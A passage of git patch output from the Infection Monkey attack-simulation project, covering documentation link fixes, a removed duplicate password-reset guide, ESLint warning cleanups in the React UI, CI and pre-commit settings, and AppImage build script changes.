+- docs/content/reports/security.md | 2 +- docs/content/setup/_index.md | 4 ++-- 10 files changed, 25 insertions(+), 25 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 2d46310cdba..8db7c63db0f 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -39,9 +39,9 @@ The Monkey shuts off either when it can't find new victims, or when it has excee ## How to reset the password? On your first access of Monkey Island server, you'll be prompted to create an account. If you forgot the credentials you - entered or just want to change them, you need to manually alter the `server_config.json` file. On Linux, this file is - located on `/var/monkey/monkey_island/cc/server_config.json`. On windows, it's based on your install directory (typically - `C:\Program Files\Guardicore\Monkey Island\monkey_island\cc\server_config.json`). Reset the contents of this file + entered or just want to change them, you need to manually alter the `server_config.json` file. On Linux, this file is + located on `/var/monkey/monkey_island/cc/server_config.json`. On windows, it's based on your install directory (typically + `C:\Program Files\Guardicore\Monkey Island\monkey_island\cc\server_config.json`). Reset the contents of this file leaving the **deployment option unchanged** (it might be "vmware" or "linux" in your case): ```json @@ -50,7 +50,7 @@ On your first access of Monkey Island server, you'll be prompted to create an ac "deployment": "windows" } ``` - Then reset the Island process (`sudo systemctl restart monkey-island.service` for linux, restart program for windows). + Then reset the Island process (`sudo systemctl restart monkey-island.service` for linux, restart program for windows). Finally, go to the Island's URL and create a new account. ## Should I run the Monkey continuously? @@ -134,7 +134,7 @@ If you do experience any performance issues please let us know on [our Slack cha Absolutely! User credentials are stored encrypted in the Monkey Island server. This information is then accessible only to users that have access to the Island. -We advise to limit access to the Monkey Island server by following our [password protection guide](../usage/island/password-guide). +We advise to limit access to the Monkey Island server by following our [password protection guide]({{< ref "/setup/accounts-and-security" >}}). ### How do you store sensitive information on Monkey Island? @@ -150,7 +150,7 @@ This means we avoid using some very strong (and famous) exploits such as [Eterna ## After I've set up Monkey Island, how can I execute the Monkey? -See our detailed [getting started](../content/usage/getting-started) guide. +See our detailed [getting started]({{< ref "/usage/getting-started" >}}) guide. ## How can I make the monkey propagate “deeper†into the network? @@ -169,7 +169,7 @@ This is sometimes caused when Monkey Island is installed with an old version of ## How can I get involved with the project? -The Monkey is an open-source project, and we weclome contributions and contributors. Check out the [contribution documentation](../development) for more information. +The Monkey is an open-source project, and we weclome contributions and contributors. Check out the [contribution documentation]({{< ref "/development" >}}) for more information. ## About the project 🵠diff --git a/docs/content/_index.md b/docs/content/_index.md index 74905e8f237..117aae443ee 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -24,8 +24,8 @@ Architecturally, Infection Monkey is comprised of two components: * Monkey Agent (Monkey for short) - a safe, worm-like binary program which scans, propagates and simulates attack techniques on the **local network**. * Monkey Island Server (Island for short) - a C&C web server which provides a GUI for users and interacts with the Monkey Agents. -The user can run the Monkey Agent on the Island server machine or distribute Monkey Agent binaries on the network manually. Based on -the configuration parameters, Monkey Agents scan, propagate and simulate an attacker's behavior on the local network. All of the +The user can run the Monkey Agent on the Island server machine or distribute Monkey Agent binaries on the network manually. Based on +the configuration parameters, Monkey Agents scan, propagate and simulate an attacker's behavior on the local network. All of the information gathered about the network is aggregated in the Island Server and displayed once all Monkey Agents are finished. ## Results @@ -35,12 +35,12 @@ The results of running Monkey Agents are: - A security report, which displays security issues that Monkey Agents discovered and/or exploited. - A MITRE ATT&CK report, which displays the information about the ATT&CK techniques that Monkey Agents tried to use. - A Zero Trust report, which displays violations of Zero Trust principles that Monkey Agents found. - -A more in-depth description of reports generated can be found in the [reports documentation page](/reports). + +A more in-depth description of reports generated can be found in the [reports documentation page]({{< ref "/reports" >}}). ## Getting Started -If you haven't downloaded Infection Monkey yet you can do so [from our homepage](https://www.guardicore.com/infectionmonkey/#download). After downloading the Monkey, install it using one of our [setup guides](setup), and read our [getting started guide](usage/getting-started) for a quick-start on Monkey! +If you haven't downloaded Infection Monkey yet you can do so [from our homepage](https://www.guardicore.com/infectionmonkey/#download). After downloading the Monkey, install it using one of our [setup guides] ({{< ref "/setup" >}}), and read our [getting started guide] ({{< ref "/usage/getting-started" >}}) for a quick-start on Monkey! ## Support and community diff --git a/docs/content/development/_index.md b/docs/content/development/_index.md index 236c7c3cdf4..91c5e785592 100644 --- a/docs/content/development/_index.md +++ b/docs/content/development/_index.md @@ -4,7 +4,7 @@ date = 2020-05-26T20:55:04+03:00 weight = 30 chapter = true pre = ' ' -tags = ["development", "contribute"] +tags = ["development", "contribute"] +++ # Securing networks together @@ -15,7 +15,7 @@ Want to help secure networks? That's great! Here are a few short links to help you get started: -* [Getting up and running](./setup-development-environment) - These instructions will help you get a working development setup. +* [Getting up and running]({{< ref "/development/setup-development-environment" >}}) - These instructions will help you get a working development setup. * [Contributing guidelines](https://github.com/guardicore/monkey/blob/master/CONTRIBUTING.md) - These guidelines will help you submit. ## What are we looking for? @@ -30,7 +30,7 @@ It's important to note that the Infection Monkey must be absolutely reliable. Ot ### Analysis plugins 🔬 -Successfully attacking every server in the network has little value if the Infection Monkey can't provide recommendations for reducing future risk. Whether it's explaining how the Infection Monkey used stolen credentials or escaped from locked-down networks, analysis is what helps users translate the Infection Monkey's activities into actionable next steps for improving security. +Successfully attacking every server in the network has little value if the Infection Monkey can't provide recommendations for reducing future risk. Whether it's explaining how the Infection Monkey used stolen credentials or escaped from locked-down networks, analysis is what helps users translate the Infection Monkey's activities into actionable next steps for improving security. ### Better code 💪 diff --git a/docs/content/reference/exploiters/SMBExec.md b/docs/content/reference/exploiters/SMBExec.md index cccf0596d5f..93091357b66 100644 --- a/docs/content/reference/exploiters/SMBExec.md +++ b/docs/content/reference/exploiters/SMBExec.md @@ -5,4 +5,4 @@ draft: false tags: ["exploit", "windows"] --- -Brute forces using credentials provided by user (see ["Configuration"](../usage/configuration)) and hashes gathered by Mimikatz. +Brute forces using credentials provided by user (see ["Configuration"] ({{< ref "/usage/configuration" >}}) and hashes gathered by Mimikatz. diff --git a/docs/content/reference/exploiters/SSHExec.md b/docs/content/reference/exploiters/SSHExec.md index d90d311cb37..b0c4f6b66ec 100644 --- a/docs/content/reference/exploiters/SSHExec.md +++ b/docs/content/reference/exploiters/SSHExec.md @@ -5,4 +5,4 @@ draft: false tags: ["exploit", "linux"] --- -Brute forces using credentials provided by user (see ["Configuration"](../usage/configuration))and SSH keys gathered from systems. +Brute forces using credentials provided by user (see ["Configuration"]({{< ref "/usage/configuration" >}})and SSH keys gathered from systems. diff --git a/docs/content/reference/exploiters/WMIExec.md b/docs/content/reference/exploiters/WMIExec.md index 346bc6eedc7..20623be71e9 100644 --- a/docs/content/reference/exploiters/WMIExec.md +++ b/docs/content/reference/exploiters/WMIExec.md @@ -5,4 +5,4 @@ draft: false tags: ["exploit", "windows"] --- -Brute forces WMI (Windows Management Instrumentation) using credentials provided by user (see ["Configuration"](../usage/configuration)) and hashes gathered by mimikatz. +Brute forces WMI (Windows Management Instrumentation) using credentials provided by user (see ["Configuration"]({{< ref "/usage/configuration" >}})) and hashes gathered by mimikatz. diff --git a/docs/content/reference/mitre_techniques.md b/docs/content/reference/mitre_techniques.md index 9e528449ef0..52da5c2969d 100644 --- a/docs/content/reference/mitre_techniques.md +++ b/docs/content/reference/mitre_techniques.md @@ -3,17 +3,17 @@ title: "MITRE ATT&CK" date: 2020-09-24T08:18:37+03:00 draft: false pre: ' & ' -weight: 10 +weight: 10 --- {{% notice info %}} -Check out [the documentation for the MITRE ATT&CK report as well](../../usage/reports/mitre). +Check out [the documentation for the MITRE ATT&CK report as well]({{< ref "/reports/mitre" >}}). {{% /notice %}} The Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base and based on this, provides a report detailing the techniques it used and recommended mitigations. The idea is to help you simulate an APT attack on your network and mitigate real attack paths intelligently. - + In the following table we provide the list of all the ATT&CK techniques the Monkey provides info about, categorized by tactic. You can follow any of the links to learn more about a specific technique or tactic. diff --git a/docs/content/reports/mitre.md b/docs/content/reports/mitre.md index d1ab3f20c72..0e454fd9105 100644 --- a/docs/content/reports/mitre.md +++ b/docs/content/reports/mitre.md @@ -6,7 +6,7 @@ draft: false --- {{% notice info %}} -Check out [the documentation for other reports available in the Infection Monkey](../) and [the documentation for supported ATT&CK techniques](../../../reference/mitre_techniques). +Check out [the documentation for other reports available in the Infection Monkey] ({{< ref "/reports" >}}) and [the documentation for supported ATT&CK techniques]({{< ref "/reference/mitre_techniques" >}}). {{% /notice %}} The Infection Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base. After simulating an advanced persistent threat (APT) attack, it generates a report summarizing the success of the techniques utilized along with recommended mitigation steps, helping you identify and mitigate attack paths in your environment. diff --git a/docs/content/reports/security.md b/docs/content/reports/security.md index e70f8539c32..2ebe150bc8d 100644 --- a/docs/content/reports/security.md +++ b/docs/content/reports/security.md @@ -6,7 +6,7 @@ description: "Provides actionable recommendations and insight into an attacker's --- {{% notice info %}} -Check out [the documentation for other reports available in the Infection Monkey](../). +Check out [the documentation for other reports available in the Infection Monkey]({{< ref "/reports" >}}). {{% /notice %}} The Infection Monkey's **Security Report** provides you with actionable recommendations and insight into an attacker's view of your network. You can download a PDF of an example report here: diff --git a/docs/content/setup/_index.md b/docs/content/setup/_index.md index 0e5d3869030..b97088b1264 100644 --- a/docs/content/setup/_index.md +++ b/docs/content/setup/_index.md @@ -4,7 +4,7 @@ date = 2020-05-26T20:55:04+03:00 weight = 5 chapter = true pre = ' ' -tags = ["setup"] +tags = ["setup"] +++ # Setting up Infection Monkey @@ -15,7 +15,7 @@ Once you've downloaded an installer, follow the relevant guide for your environm {{% children %}} -After setting the Monkey up, check out our [Getting Started](../usage/getting-started) guide! +After setting the Monkey up, check out our [Getting Started](/usage/getting-started) guide! {{% notice tip %}} You can find information about [operating system compatibility and support here](../reference/operating_systems_support). From 38036f7a9dbf463d2842cb60703d78526b4136d1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Apr 2021 16:51:37 +0300 Subject: [PATCH 0186/1360] Removed duplicate password reset tutorials in the documentation hub --- docs/content/setup/accounts-and-security.md | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/docs/content/setup/accounts-and-security.md b/docs/content/setup/accounts-and-security.md index da8dbbbb36a..8f99d25f252 100644 --- a/docs/content/setup/accounts-and-security.md +++ b/docs/content/setup/accounts-and-security.md @@ -15,15 +15,4 @@ If you want an island to be accessible without credentials, press *I want anyone ## Resetting your account credentials -To reset your credentials, edit `monkey_island\cc\server_config.json` by deleting the `user` and `password_hash` variables. - -When you restart the Monkey Island server, you will again be prompted with the registration form. - -Example `server_config.json` for account reset: - -```json -{ - "server_config": "password", - "deployment": "develop" -} -``` +This procedure is documented in [the FAQ.]({{< ref "/faq/#how-to-reset-the-password" >}}) From 6396c7d1a4b57eccc9b721a188f9370b5644ea55 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Apr 2021 17:17:40 +0300 Subject: [PATCH 0187/1360] Fixed homepage (Infection monkey logo) click to redirect back to documentation homepage, not guardicore. --- docs/config/production/config.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/config/production/config.toml b/docs/config/production/config.toml index 819657d4ce1..1fb5c2e20da 100644 --- a/docs/config/production/config.toml +++ b/docs/config/production/config.toml @@ -1,2 +1,2 @@ -baseURL = "https://www.guardicore.com/infectionmonkey/docs" +baseURL = "https://www.guardicore.com/infectionmonkey/docs/" canonifyURLs = true From 76a2dfdf91e99a5e7be87ef947332eba3d5042ac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 11 Apr 2021 19:35:40 -0400 Subject: [PATCH 0188/1360] cc: Remove unnecessary quotes in post_breach_actions.py --- .../services/config_schema/definitions/post_breach_actions.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index 2c1104bcbe3..086dc85693a 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -10,7 +10,7 @@ "enum": ["BackdoorUser"], "title": "Back door user", "safe": True, - "info": "Attempts to create a new user on the system and delete it " "afterwards.", + "info": "Attempts to create a new user on the system and delete it afterwards.", "attack_techniques": ["T1136"], }, { From e0a40626be6b38773b756feac5461136f75c5d0b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 11 Apr 2021 19:37:40 -0400 Subject: [PATCH 0189/1360] =?UTF-8?q?Swimm:=20update=20exercise=20Add=20a?= =?UTF-8?q?=20new=20configuration=20setting=20to=20the=20Agent=20=E2=9A=99?= =?UTF-8?q?=20(id:=20AzD8XysWg1BBXCjCDkfq).?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .swm/AzD8XysWg1BBXCjCDkfq.swm | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm index eb0339fa3dd..5383db0b761 100644 --- a/.swm/AzD8XysWg1BBXCjCDkfq.swm +++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm @@ -52,7 +52,7 @@ "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/internal.py", "comments": [], - "firstLineNumber": 39, + "firstLineNumber": 42, "lines": [ " \"title\": \"Monkey\",", " \"type\": \"object\",", @@ -61,7 +61,8 @@ "* \"title\": \"Max victims to find\",", "* \"type\": \"integer\",", "* \"default\": 100,", - "* \"description\": \"Determines the maximum number of machines the monkey is allowed to scan\",", + "* \"description\": \"Determines the maximum number of machines the monkey is \"", + "* \"allowed to scan\",", "* },", " \"victims_max_exploit\": {", " \"title\": \"Max victims to exploit\",", @@ -78,9 +79,9 @@ "meta": { "app_version": "0.4.1-1", "file_blobs": { - "monkey/infection_monkey/config.py": "7aeaccee2a663d2b69d62d4692acc2aa24e2d1f7", - "monkey/infection_monkey/monkey.py": "7123d8b9ef8c02870534bdf0008df1245bb1392a", - "monkey/monkey_island/cc/services/config_schema/internal.py": "890e74efab70c4610f4a17cc531e09e5afcb5368" + "monkey/infection_monkey/config.py": "ffdea551eb1ae2b65d4700db896c746771e7954c", + "monkey/infection_monkey/monkey.py": "c81a6251746e3af4e93eaa7d50af44d33debe05c", + "monkey/monkey_island/cc/services/config_schema/internal.py": "d03527b89c21dfb832a15e4f7d55f4027d83b453" } } } From a2edd4e1fa790fb1f4ec30d0b26a4b94559d6d4c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 12 Apr 2021 09:45:51 +0300 Subject: [PATCH 0190/1360] Fixed documentation hub links, broken due to whitespace characters in between --- docs/content/_index.md | 2 +- docs/content/reference/exploiters/SMBExec.md | 2 +- docs/content/reports/mitre.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/content/_index.md b/docs/content/_index.md index 117aae443ee..88448acb8d9 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -40,7 +40,7 @@ A more in-depth description of reports generated can be found in the [reports do ## Getting Started -If you haven't downloaded Infection Monkey yet you can do so [from our homepage](https://www.guardicore.com/infectionmonkey/#download). After downloading the Monkey, install it using one of our [setup guides] ({{< ref "/setup" >}}), and read our [getting started guide] ({{< ref "/usage/getting-started" >}}) for a quick-start on Monkey! +If you haven't downloaded Infection Monkey yet you can do so [from our homepage](https://www.guardicore.com/infectionmonkey/#download). After downloading the Monkey, install it using one of our [setup guides]({{< ref "/setup" >}}), and read our [getting started guide]({{< ref "/usage/getting-started" >}}) for a quick-start on Monkey! ## Support and community diff --git a/docs/content/reference/exploiters/SMBExec.md b/docs/content/reference/exploiters/SMBExec.md index 93091357b66..758f22b0a3d 100644 --- a/docs/content/reference/exploiters/SMBExec.md +++ b/docs/content/reference/exploiters/SMBExec.md @@ -5,4 +5,4 @@ draft: false tags: ["exploit", "windows"] --- -Brute forces using credentials provided by user (see ["Configuration"] ({{< ref "/usage/configuration" >}}) and hashes gathered by Mimikatz. +Brute forces using credentials provided by user (see ["Configuration"]({{< ref "/usage/configuration" >}}) and hashes gathered by Mimikatz. diff --git a/docs/content/reports/mitre.md b/docs/content/reports/mitre.md index 0e454fd9105..72228e6e508 100644 --- a/docs/content/reports/mitre.md +++ b/docs/content/reports/mitre.md @@ -6,7 +6,7 @@ draft: false --- {{% notice info %}} -Check out [the documentation for other reports available in the Infection Monkey] ({{< ref "/reports" >}}) and [the documentation for supported ATT&CK techniques]({{< ref "/reference/mitre_techniques" >}}). +Check out [the documentation for other reports available in the Infection Monkey]({{< ref "/reports" >}}) and [the documentation for supported ATT&CK techniques]({{< ref "/reference/mitre_techniques" >}}). {{% /notice %}} The Infection Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base. After simulating an advanced persistent threat (APT) attack, it generates a report summarizing the success of the techniques utilized along with recommended mitigation steps, helping you identify and mitigate attack paths in your environment. From 508c562243fe667428f1781eeb596c7ee74a52fd Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Apr 2021 16:23:09 +0530 Subject: [PATCH 0191/1360] Fix singlequotes eslint warnings --- .../cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js | 2 +- .../report-components/security/issues/SharedPasswordsIssue.js | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index 3a43f1a441d..db8ca17f697 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -27,7 +27,7 @@ function RunOptions(props) { .then(res => { let commandServers = res.configuration.internal.island_server.command_servers; let ipAddresses = commandServers.map(ip => { - return ip.split(":", 1); + return ip.split(':', 1); }); setIps(ipAddresses); setInitialized(true); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js index 2a09dbb83e3..5d114a520f3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js @@ -3,11 +3,11 @@ import CollapsibleWellComponent from '../CollapsibleWell'; import {generateInfoBadges} from './utils'; export function sharedPasswordsIssueOverview() { - return (
  • Multiple users have the same password
  • ) + return (
  • Multiple users have the same password
  • ) } export function sharedAdminsDomainIssueOverview() { - return (
  • Shared local administrator account - Different machines have the same account as a local + return (
  • Shared local administrator account - Different machines have the same account as a local administrator.
  • ) } From f267e5bbc082864b2c9c67e3f38421d28e1c93f9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Apr 2021 16:28:57 +0530 Subject: [PATCH 0192/1360] Fix unused variable eslint warnings --- .../cc/ui/src/components/reactive-graph/ReactiveGraph.js | 1 - .../ui/src/components/report-components/SecurityReport.js | 2 +- .../report-components/security/IssueDescriptor.js | 7 ------- 3 files changed, 1 insertion(+), 9 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/IssueDescriptor.js diff --git a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js index 8d8611eb6a7..7ffe9ae7d94 100644 --- a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js +++ b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js @@ -1,6 +1,5 @@ import React from 'react'; import Graph from 'react-graph-vis'; -import Dimensions from 'react-dimensions' class GraphWrapper extends React.Component { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 8486dd547e7..041e6384e2d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -597,7 +597,7 @@ class ReportPageComponent extends AuthComponent { generateIssue = (issue) => { let issueDescriptor = this.IssueDescriptorEnum[issue.type]; - let reportFnc = (issue) => {}; + let reportFnc = {}; if (issue.hasOwnProperty('credential_type') && issue.credential_type !== null) { reportFnc = issueDescriptor[this.issueContentTypes.REPORT][issue.credential_type]; } else { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/IssueDescriptor.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/IssueDescriptor.js deleted file mode 100644 index 330bf382876..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/IssueDescriptor.js +++ /dev/null @@ -1,7 +0,0 @@ -class IssueDescriptor { - constructor(name, overviewComponent, reportComponent) { - this.name = name; - this.overviewComponent = overviewComponent; - this.reportComponent = reportComponent; - } -} From bbfc0d4130b534a173db7012f44934ec08f58f29 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Apr 2021 17:20:31 +0530 Subject: [PATCH 0193/1360] Fix "Component definition is missing display name" eslint warnings --- .../report-components/zerotrust/PrinciplesStatusTable.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js index 6b1d22f6f1f..1296c3086dc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js @@ -12,7 +12,7 @@ const columns = [ columns: [ { Header: 'Status', id: 'status', - accessor: x => { + accessor: function getAccessor (x) { return ; }, maxWidth: MAX_WIDTH_STATUS_COLUMN @@ -24,7 +24,7 @@ const columns = [ { Header: 'Monkey Tests', id: 'tests', style: {'whiteSpace': 'unset'}, // This enables word wrap - accessor: x => { + accessor: function getAccessor (x) { return ; } } From e74e20536892f756c934f31dd5f2ba1e4acbb8b1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Apr 2021 17:21:38 +0530 Subject: [PATCH 0194/1360] Fix trailing comma eslint warnings --- .../cc/ui/src/components/report-components/SecurityReport.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 041e6384e2d..c95df5c84b1 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -58,7 +58,7 @@ class ReportPageComponent extends AuthComponent { credentialTypes = { PASSWORD: 'password', HASH: 'hash', - KEY: 'key', + KEY: 'key' } issueContentTypes = { @@ -152,7 +152,7 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'zerologon_pass_restore_failed': { - [this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning, + [this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning }, 'island_cross_segment': { [this.issueContentTypes.OVERVIEW]: crossSegmentIssueOverview, From c736560f09592fb88e60d5382ef6755aecf0462d Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Apr 2021 17:30:17 +0530 Subject: [PATCH 0195/1360] Fix "Do not access Object.prototype method 'hasOwnProperty' from target object" eslint warnings --- .../pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js | 2 +- .../src/components/report-components/SecurityReport.js | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js index eba4cf0f351..a1c3cb491b9 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js @@ -56,7 +56,7 @@ const getContents = (props) => { // update existing state, not run-over let prevRes = result; for (let key in result) { - if (result.hasOwnProperty(key)) { + if (Object.prototype.hasOwnProperty.call(result, key)) { prevRes[key] = result[key]; } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index c95df5c84b1..c9fdd2c52dc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -437,9 +437,9 @@ class ReportPageComponent extends AuthComponent { isIssuePotentialSecurityIssue(issueName) { let issueDescriptor = this.IssueDescriptorEnum[issueName]; - return issueDescriptor.hasOwnProperty(this.issueContentTypes.TYPE) && + return Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.TYPE) && issueDescriptor[this.issueContentTypes.TYPE] === this.issueTypes.WARNING && - issueDescriptor.hasOwnProperty(this.issueContentTypes.OVERVIEW); + Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.OVERVIEW); } getImmediateThreats() { @@ -476,9 +476,9 @@ class ReportPageComponent extends AuthComponent { isIssueImmediateThreat(issueName) { let issueDescriptor = this.IssueDescriptorEnum[issueName]; - return issueDescriptor.hasOwnProperty(this.issueContentTypes.TYPE) && + return Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.TYPE) && issueDescriptor[this.issueContentTypes.TYPE] === this.issueTypes.DANGER && - issueDescriptor.hasOwnProperty(this.issueContentTypes.OVERVIEW); + Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.OVERVIEW); } getImmediateThreatsOverviews() { @@ -598,7 +598,7 @@ class ReportPageComponent extends AuthComponent { let issueDescriptor = this.IssueDescriptorEnum[issue.type]; let reportFnc = {}; - if (issue.hasOwnProperty('credential_type') && issue.credential_type !== null) { + if (Object.prototype.hasOwnProperty.call(issue, 'credential_type') && issue.credential_type !== null) { reportFnc = issueDescriptor[this.issueContentTypes.REPORT][issue.credential_type]; } else { reportFnc = issueDescriptor[this.issueContentTypes.REPORT]; From 21a2083903a1ff03a3a9d69740733f56b40971ac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Apr 2021 08:03:11 -0400 Subject: [PATCH 0196/1360] build: Use official `deployment_scripts/config` in build_appimage.sh --- deployment_scripts/appimage/build_appimage.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index c85f6f81c48..a1c3848010a 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -199,7 +199,7 @@ Run \`sudo -v\`, enter your password, and then re-run this script." exit 1 fi -config_url="https://raw.githubusercontent.com/mssalvatore/monkey/linux-deploy-binaries/deployment_scripts/config" +config_url="https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/config" setup_appdir From 2d8aef8bebcdf3535b449d02e7b1b3478cbff847 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Apr 2021 17:45:52 +0530 Subject: [PATCH 0197/1360] Add pre-commit hook for eslint --- .pre-commit-config.yaml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 43e62e2f3ed..8065df524cd 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -28,3 +28,7 @@ repos: - id: detect-private-key - id: end-of-file-fixer - id: trailing-whitespace + - repo: https://github.com/eslint/eslint + rev: v7.24.0 + hooks: + - id: eslint From d01de96e950d24bfc08547729fd4f4e565ab60ee Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Apr 2021 18:43:37 +0530 Subject: [PATCH 0198/1360] Change max JS warnings limit to 0 in travis.yml --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index d57069c057d..318045d6858 100644 --- a/.travis.yml +++ b/.travis.yml @@ -71,7 +71,7 @@ script: - cd monkey_island/cc/ui - npm ci # See https://docs.npmjs.com/cli/ci.html - eslint ./src --quiet # Test for errors -- JS_WARNINGS_AMOUNT_UPPER_LIMIT=7 +- JS_WARNINGS_AMOUNT_UPPER_LIMIT=0 - eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT # Test for max warnings # Build documentation From 638004cfb26102ff3c06a6b12f5db3f950375979 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Apr 2021 12:25:16 -0400 Subject: [PATCH 0199/1360] build: Build AppImage with appimagetool instead of appimage-builder --- deployment_scripts/appimage/.gitignore | 1 + deployment_scripts/appimage/AppRun | 41 ++++++++++ deployment_scripts/appimage/README.md | 5 +- deployment_scripts/appimage/build_appimage.sh | 74 ++++++++----------- .../appimage/monkey-island.desktop | 8 ++ 5 files changed, 83 insertions(+), 46 deletions(-) create mode 100644 deployment_scripts/appimage/.gitignore create mode 100755 deployment_scripts/appimage/AppRun create mode 100644 deployment_scripts/appimage/monkey-island.desktop diff --git a/deployment_scripts/appimage/.gitignore b/deployment_scripts/appimage/.gitignore new file mode 100644 index 00000000000..5a7692e9ace 